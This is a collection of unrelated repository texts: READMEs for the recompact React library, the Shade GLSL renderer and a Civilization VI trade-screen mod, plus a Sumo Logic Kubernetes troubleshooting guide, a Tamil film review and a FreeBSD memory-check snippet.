[![codecov](https://codecov.io/gh/neoziro/recompact/branch/master/graph/badge.svg)](https://codecov.io/gh/neoziro/recompact)

Recompact is a set of React higher-order components for reactive programming. It's a drop-in replacement of [Recompose](https://github.com/acdlite/recompose) with several enhancements.

## State of recompact

React has introduced [React hooks](https://reactjs.org/docs/hooks-intro.html): a new way to manage state and lifecycle in React. It solves most of use case that recompact was trying to solve. That's why **recompact is now deprecated and not actively maintained**. The project will remain published on npm but it does not accept new issues and it won't evolve any more. If you use it, you are encouraged to migrate to hooks, if you don't use it yet, then do not install it. If you really like it, feel free to fork it!

## Installation and Usage

To install the stable version:

```sh
yarn add recompact
```

and to use it in your code:

```js
import recompact from 'recompact'
```

## Optimizing bundle size

### [babel-plugin-lodash](https://github.com/lodash/babel-plugin-lodash)

The best way to reduce build size is to use [babel-plugin-lodash](https://github.com/lodash/babel-plugin-lodash). It can be used with other libraries than lodash, just like this:

**.babelrc**

```json
{
  "plugins": [
    ["lodash", { "id": "recompact" }],
  ]
}
```

Transforms
```js
import recompact from 'recompact'
import { pure, withProps } from 'recompact'

const enhance = recompact.compose(
  withProps({ className: 'beautiful' }),
  pure,
)
```

roughly to
```js
import _compose from 'recompact/compose'
import _pure from 'recompact/pure'
import _withProps from 'recompact/withProps'

const enhance = _compose(
  _withProps({ className: 'beautiful' }),
  _pure,
)
```

### Tree shaking

Since [tree shaking isn't ready yet to reduce build size efficiently](https://advancedweb.hu/2017/02/07/treeshaking/), it is not supported in recompact.

## [Documentation](https://neoziro.github.io/recompact/)

## [Benchmarks](https://github.com/neoziro/recompact/tree/master/src/__benchmarks__)

## Recompact vs. Recompose

Recompact is a drop-in replacement* for [Recompose](https://github.com/acdlite/recompose) with better performance.

\* Except for the [callback](https://github.com/neoziro/recompact/issues/59) of `withState`'s state updater.

### Flattened React components tree

You may have noticed the
"compact" keyword in "Recompact". It's the main differences between Recompose and Recompact.
Recompact compacts all higher-order components into a single one. It results in a flatter React
tree. A flatter React tree has several advantages: performance improvement, better debugging (especially in React Developer Tools)
and easier testing.

Let's take two components using composition, [one using recompose](https://github.com/neoziro/recompact/blob/master/examples/RecomposeCounter.js) and [one using recompact](https://github.com/neoziro/recompact/blob/master/examples/RecompactCounter.js).

The two components are similar, but if you take a look at the React component tree (using React Developer Tool), you can see that the component using recompact is flat:

### New methods

Recompact also features higher-order components that are not included in Recompose:

- [omitProps](https://github.com/neoziro/recompact/tree/master/docs#omitpropspaths)
- [pickProps](https://github.com/neoziro/recompact/tree/master/docs#pickpropspaths)

And some very specific higher-order components that give you a lot of power:

- [connectObs](https://github.com/neoziro/recompact/tree/master/docs#connectobsobsmapper)
- [withObs](https://github.com/neoziro/recompact/tree/master/docs#withobsobsmapper)

To learn more about how to use `connectObs` and `withObs` inside your project, please refer to [this complete guide about `connectObs` and `withObs`](https://github.com/neoziro/recompact/blob/master/docs/Observables.md).

## License

MIT


text:
# Shade

Shade is a simple ShaderToy-esque GLSL renderer.  It's currently a work in progress.

TODO:
- [x] Rendering with UV coordinates
- [x] Loading fragment shader files
- [x] Live reloading of shaders
- [x] Show framerate
- [x] Built-in variables (time, resolution, mouse)
- [ ] dear imgui control of shader parameters
- [ ] Loading textures
- [ ] Export video
- [ ] Full ShaderToy compatibility

## Compiling

To compile Shade, use CMake:

``` sh
mkdir build && cd build
cmake ..
make
```

This puts the Shade binary at `<root>/shade/shade`

repository: coquifrogs/shade

repo_name: coquifrogs/shade


text:
# Troubleshooting Collection

<!-- TOC -->

- [`helm install` hanging](#helm-install-hanging)
- [Namespace configuration](#namespace-configuration)
- [Gathering logs](#gathering-logs)
  - [Fluentd Logs](#fluentd-logs)
  - [Prometheus Logs](#prometheus-logs)
  - [Send data to Fluentd stdout instead of to Sumo](#send-data-to-fluentd-stdout-instead-of-to-sumo)
- [Gathering metrics](#gathering-metrics)
  - [Check the `/metrics` endpoint](#check-the-metrics-endpoint)
  - [Check the Prometheus UI](#check-the-prometheus-ui)
  - [Check Prometheus Remote Storage](#check-prometheus-remote-storage)
  - [Check FluentBit and FluentD output metrics](#check-fluentbit-and-fluentd-output-metrics)
- [Common Issues](#common-issues)
  - [Pod stuck in `ContainerCreating` state](#pod-stuck-in-containercreating-state)
  - [Missing `kubelet` metrics](#missing-kubelet-metrics)
    - [1. Enable the `authenticationTokenWebhook` flag in the cluster](#1-enable-the-authenticationtokenwebhook-flag-in-the-cluster)
    - [2. Disable the `kubelet.serviceMonitor.https` flag in the Prometheus operator](#2-disable-the-kubeletservicemonitorhttps-flag-in-the-prometheus-operator)
  - [Missing `kube-controller-manager` or `kube-scheduler` metrics](#missing-kube-controller-manager-or-kube-scheduler-metrics)

<!-- /TOC -->

## `helm install` hanging

If `helm install` hangs, it usually means the pre-install setup job is failing and is in a retry loop. Due to a Helm limitation, errors from the setup job cannot be fed back to the `helm install` command. Kubernetes schedules the job in a pod, so you can look at logs from the pod to see why the job is failing. First find the pod name in the namespace where the Helm chart is deployed:
```sh
kubectl get pods -n sumologic
```

Get the logs from that pod:
```
kubectl logs POD_NAME -f
```

If you see `Secret 'sumologic::sumologic' exists, abort.` from the logs, delete the existing secret:
```
kubectl delete secret sumologic -n sumologic
```

`helm install` should proceed after the existing secret is deleted before exhausting retries. If it did time out after exhausting retries, rerun the `helm install` command.

## Namespace configuration

The following `kubectl` commands assume you are in the correct namespace `sumologic`. By default, these commands will use the namespace `default`.

To run a single command in the `sumologic` namespace, pass in the flag `-n sumologic`.

To set your namespace context more permanently, you can run
```sh
kubectl config set-context $(kubectl config current-context) --namespace=sumologic
```

## Gathering logs

First check if your pods are in a healthy state. Run
```
kubectl get pods
```
to get a list of running pods. If any of them are not in the `Status: running` state, something is wrong. To get the logs for that pod, you can either:

Stream the logs to `stdout`:
```
kubectl logs POD_NAME -f
```
Or write the current logs to a file:
```
kubectl logs POD_NAME > pod_name.log
```

To get a snapshot of the current state of the pod, you can run
```
kubectl describe pods POD_NAME
```

### Fluentd Logs

```
kubectl logs fluentd-xxxxxxxxx-xxxxx -f
```

To enable more detailed debug or trace logs from all of Fluentd, add the following lines to the `fluentd-sumologic.yaml` file under the relevant `.conf` section and apply the change to your deployment:
```
<system>
  log_level debug # or trace
</system>
```

To enable debug or trace logs from a specific Fluentd plugin, add the following option to the plugin's `.conf` section:
```
<match **>
  @type sumologic
  @log_level debug # or trace
  ...
</match>
```

### Prometheus Logs

To view Prometheus logs:
```
kubectl logs prometheus-prometheus-operator-prometheus-0 prometheus -f
```

### Send data to Fluentd stdout instead of to Sumo

To help reduce the points of possible failure, we can write data to Fluentd logs rather than sending to Sumo directly using the Sumo Logic output plugin. To do this, change the following lines in the `fluentd-sumologic.yaml` file under the relevant `.conf` section:

```
<match TAG_YOU_ARE_DEBUGGING>
  @type sumologic
  endpoint "#{ENV['SUMO_ENDPOINT']}"
  ...
</match>
```

to

```
<match TAG_YOU_ARE_DEBUGGING>
  @type stdout
</match>
```

Then redeploy your `fluentd` deployment:

```sh
kubectl delete deployment fluentd
kubectl apply -f /path/to/fluentd-sumologic.yaml
```

You should see data being sent to Fluentd logs, which you can get using the commands [above](#fluentd-logs).

## Gathering metrics

### Check the `/metrics` endpoint

You can `port-forward` to a pod exposing `/metrics` endpoint and verify it is exposing Prometheus metrics:

```sh
kubectl port-forward fluentd-6f797b49b5-52h82 8080:24231
```

Then, in your browser, go to `localhost:8080/metrics`. You should see Prometheus metrics exposed.

### Check the Prometheus UI

First run the following command to expose the Prometheus UI:

```sh
kubectl port-forward prometheus-prometheus-operator-prometheus-0 8080:9090
```

Then, in your browser, go to `localhost:8080`. You should be in the Prometheus UI now.

From here you can start typing the expected name of a metric to see if Prometheus auto-completes the entry.

If you can't find the expected metrics, you can check if Prometheus is successfully scraping the `/metrics` endpoints. In the top menu, navigate to section `Status > Targets`. Check if any targets are down or have errors.

### Check Prometheus Remote Storage

We rely on the Prometheus [Remote Storage](https://prometheus.io/docs/prometheus/latest/storage/) integration to send metrics from Prometheus to the FluentD collection pipeline.

You can follow [Deploy Fluentd](#prometheus-logs) to verify there are no errors during remote write.

You can also check `prometheus_remote_storage_.*` metrics to look for success/failure attempts.

### Check FluentBit and FluentD output metrics

By default, we collect input/output plugin metrics for FluentBit, and output metrics for FluentD that you can use to verify collection:

Relevant FluentBit metrics include:

- fluentbit_input_bytes_total
- fluentbit_input_records_total
- fluentbit_output_proc_bytes_total
- fluentbit_output_proc_records_total
- fluentbit_output_retries_total
- fluentbit_output_retries_failed_total

Relevant FluentD metrics include:

- fluentd_output_status_emit_records
- fluentd_output_status_buffer_queue_length
- fluentd_output_status_buffervqueuevbytes
- fluentd_output_status_num_errors
- fluentd_output_status_retry_count

## Common Issues

### Pod stuck in `ContainerCreating` state

If you are seeing a pod stuck in the `ContainerCreating` state and seeing logs like
```
Warning  FailedCreatePodSandBox  29s   kubelet, ip-172-20-87-45.us-west-1.compute.internal  Failed create pod sandbox: rpc error: code = DeadlineExceeded desc = context deadline exceeded
```
you have an unhealthy node. Killing the node should resolve this issue.

### Missing `kubelet` metrics

Navigate to the `kubelet` targets using the steps above. You may see that the targets are down with 401 errors. If so, there are two known workarounds you can try.

#### 1. Enable the `authenticationTokenWebhook` flag in the cluster

The goal is to set the flag `--authentication-token-webhook=true` for `kubelet`. One way to do this is:
```
kops get cluster -o yaml > NAME_OF_CLUSTER-cluster.yaml
```

Then in that file make the following change:
```
spec:
  kubelet:
    anonymousAuth: false
    authenticationTokenWebhook: true # <- add this line
```

Then run
```
kops replace -f NAME_OF_CLUSTER-cluster.yaml
kops update cluster --yes
kops rolling-update cluster --yes
```

#### 2. Disable the `kubelet.serviceMonitor.https` flag in the Prometheus operator

The goal is to set the flag `kubelet.serviceMonitor.https=false` when deploying the prometheus operator.

Add the following lines to the beginning of your `prometheus-overrides.yaml` file:
```
kubelet:
  serviceMonitor:
    https: false
```

and redeploy Prometheus:
```
helm del --purge prometheus-operator
helm install stable/prometheus-operator --name prometheus-operator --namespace sumologic -f prometheus-overrides.yaml
```

### Missing `kube-controller-manager` or `kube-scheduler` metrics

There’s an issue with backwards compatibility in the current version of the prometheus-operator helm chart that requires us to override the selectors for kube-scheduler and kube-controller-manager in order to see metrics from them. If you are not seeing metrics from these two targets, try running the commands in the "Configure Prometheus" section [here](https://github.com/SumoLogic/sumologic-kubernetes-collection/tree/master/deploy/docs/Non_Helm_Installation.md#missing-metrics-for-controller-manager-or-scheduler).

### Rancher

If you are running the out of the box rancher monitoring setup, you cannot run our Prometheus operator alongside it. The Rancher Prometheus Operator setup will actually kill and permanently terminate our Prometheus Operator instance and will prevent the metrics system from coming up.
If you have the Rancher prometheus operator setup running, they will have to use the UI to disable it before they can install our collection process.


text:
# Better Trade Screen

## Introduction
The goal of this mod is to improve the trade screens in Civilization VI and help manage and monitor running trade routes.

## Features
* Shows turns to complete a trade route rather than the distance between the cities.

* Overhauled *Trade Overview* screen.
	* Shows all possible routes, even if the trader is not present in the origin city.
	* Clicking on a route where a free trade unit is not present in the origin city takes you to a free trade unit and opens the *Change City* screen
	* Route entry is colored based on destination player.
	* Player/City header are also colored.
	* Shows origin city and destination city yields in the same screen.
	* Added **Group** and **Filter** settings
	* *My Routes* tab tracks active routes, so you know when a trade route completes.

	![alt text](http://i.imgur.com/3G1PAdh.jpg?1 "Overhauled Trade Overview screen")

* Sort bar in *Make Trade Route* screen and *Trade Overview* screen. Sort the routes by **left clicking** on a button.

	![alt text](http://i.imgur.com/QUTDQYe.jpg "Sort bar - Trade Overview")

* Trade Routes can be sorted based on yields, and turns remaining. Queue multiple sorts by holding **SHIFT** and the left clicking on a sort button. Right click on any sort button to remove it from the sort setting.

	![alt text](http://i.imgur.com/C1T7kPL.jpg?1 "Multiple Sort example")

* When opening *Make Trade Route* screen, the last destination is automatically picked.

* Set a trader to repeat its last route by selecting the **Repeat Route** checkbox when initiating a trade route.

	![alt text](http://i.imgur.com/faLa0b3.jpg "Repeat Route checkbox")

* An additional checkbox is provided that sets the trader to repeat the **top** route from the sort settings when the trade was initiated. This allows the trade route to always be the best one, hence reducing micromanagent of always checking the trade routes.

* Cancel the automated trader from the *My Routes* tab in **Trade Overview** screen.

## Installation
If you are using [Chao's QUI](https://github.com/chaorace/cqui), this mod is already included in it, and requires no extra steps to install. If you are **NOT** using CQUI, follow the steps below:

1. Download the latest release.
2. Extract the downloaded archive to your Mods folder. For me this is in *Documents\My Games\Sid Meier's Civilization VI\Mods*
3. Activate the Mod in *Additional Content* inside Civilization VI.

## Troubleshooting
If you encounter issues with getting the mod working try the following steps:

1. Try installing the Mod into the DLC folder. This folder is the folder where you installed Civilization VI, example *C:\Program Files (x86)\Steam\steamapps\common\Sid Meier's Civilization VI\DLC*
2. Delete the cache. This can be found here - *Documents\My Games\Sid Meier's Civilization VI\Cache*
3. Check out this [thread](https://forums.civfanatics.com/threads/mods-not-working-at-all-help.606288/)
4. If none of the above work, let me know in this repository or [here](https://forums.civfanatics.com/threads/more-lenses.606150/)

## FAQ
**I loaded a save game and the text is all broken?**
> This is a bug from Firaxis. To fix this you have to exit to **destop** and start Civilization VI again.

**I can't see yields for the destination city, where are they?**
>In the previous version, I had a string show that the destination city gains no benefits, but it lead to a lot of cluttering in the screen. Currently, if the destination city has no yield, you won't see any.

**Trade Overview panel does not open in between turns?**
>With v3.0 I blocked the Trade Overview panel from opening since it causes CTD. If you want to unblock this, change the following line in TradeOverview.lua
>
>`local blockPanelInBetweenTurns = true`
>
>to
>
>`local blockPanelInBetweenTurns = false`

## Credits

* @ZhouYzzz for providing the Chinese localization in #161-CQUI
* @deggesim (Simone1974 on Civfanatics) for providing the Italian localization in #250-CQUI
* @e1ectron for providing the Russian localization in #251-CQUI
* @sejbr for providing the Polish localization in #253-CQUI
* @frytom for providing the German localization in #283-CQUI
* @lctrs for providing a partial French localization in #273-CQUI
* @wbqd for providing a Korean translation in #309-CQUI
* @rzucareli for providing a Brazilian-Portuguese localization

repository: astog/BTS

gha_language: Lua

repo_name: astog/BTS


text:
---
title: "Ratsasan  –  One Of Best Psycho Thriller"
layout: post
movie: 2018-ratsasan
type: Review
image: "/assets/images/post-images/vada-chennai/Ratsasan-Movie-poster3.jpg"
author: Kiran Viswanath
categories: 2018-ratsasan
rating: 5
---

![Ratsasan banner](/assets/images/post-images/vada-chennai/Ratsasan-Movie-poster3.jpg)

Must admit that Tamil movies have been in new era of filmmaking and its audience are supporting this change.
Some of these movies are in par with Hollywood standards. After an impressive trailer graced us, I made my mind to watch this
movie in theatre with a second thought. Vishnu not being a famous star and Ramkumar being an experimental director made me think twice
before watching this movie.

### Plot

Film starts with struggle of filmmaker Arun kumar who have been researching on psycho murder events in world.
Due to his circumstances he had to join police service as Sub Inspector. The team which he have been part of happens to investigate
a serial killing of school going girls and how his inputs  help his team in solving it depicts the story.
The detailing and convincing back story gives the movie a much perfect conclusion. It is really hard for a normal film going person
to predict next scene and must say director is very much successful in making the movie so. The film has many messages hidden inside it,
morals for grown up girls and their parents. Movie also shows hierarchy in police system like how credit goes to seniors
even when juniors are the planning the investigation and solving it, despite objection from seniors.

### Performances

![Vishnu in Ratsasan](/assets/images/post-images/vada-chennai/actor_ratsasan.jpg)

Vishnu vishal as Arun kumar has done his role very well. He has been able to impress us with his aspiring movie director turned cop role.
His expressions when kidnapping happens do give us chills. He has grown as a well matured actor since his “vennila kabbadi kuzhu" days.
He is definitely an actor to look for in future.

![Ramdoss in Ratsasan](/assets/images/post-images/vada-chennai/ramdoss_ratsasan.jpg)

Ramdoss as Arun’s uncle has been excellent. His acting has been a treat to watch. The heartbreaking scene in second half made us cry.
Would love to see more from him in his upcoming projects.

![Amala Paul in Ratsasan](/assets/images/post-images/vada-chennai/actress_ratsasan.jpg)

Amala Paul had done her  role well. She has been apt for the teacher role.

Suzane George as senior police officer has been superb. Hope bold actress like her will be utilized by directors.

Villain has been frightening. To avoid spoilers, We are not disclosing much about villain. Must say the actor who enacted villain role
was damn convincing.

Ramkumar As Director had been at his best. His hardwork has paid off. Excellent screenplay and script along with his
path changing narrative had uplifted movie to a new high. The detailing for each movie scene has been well written and well taken.
This movie made me his fan and I would definitely watch his future movies in theatre.

Ghibran’s  background score has made movie a scary one, especially in second half. His work makes us realize
the importance of BGM in thriller movies. One of best works of Ghibran post “Vishwaroopam” series.

### Final Cut

It has been a nail biting experience for me. First half of movie makes us involved in investigation while second half makes us scary,
even scary than watching a horror movie.  The  movie is an edge of seat thriller due to its making and treatment which
follows  a pattern of  psycho thriller with enough gut wrenching scenes.
Its rare to witness an Indian movie having such intense scenes which is normally seen only in Hollywood movies.
For aspiring film makers, this movie will be a wonderful experience.

gha_language: HTML


text:
### sysctl command to find out how much RAM is installed on a FreeBSD
```
$ sysctl hw.physmem
$ sysctl hw | egrep 'hw.(phys|user|real)'
```
Or
·$ grep memory /var/run/dmesg.boot·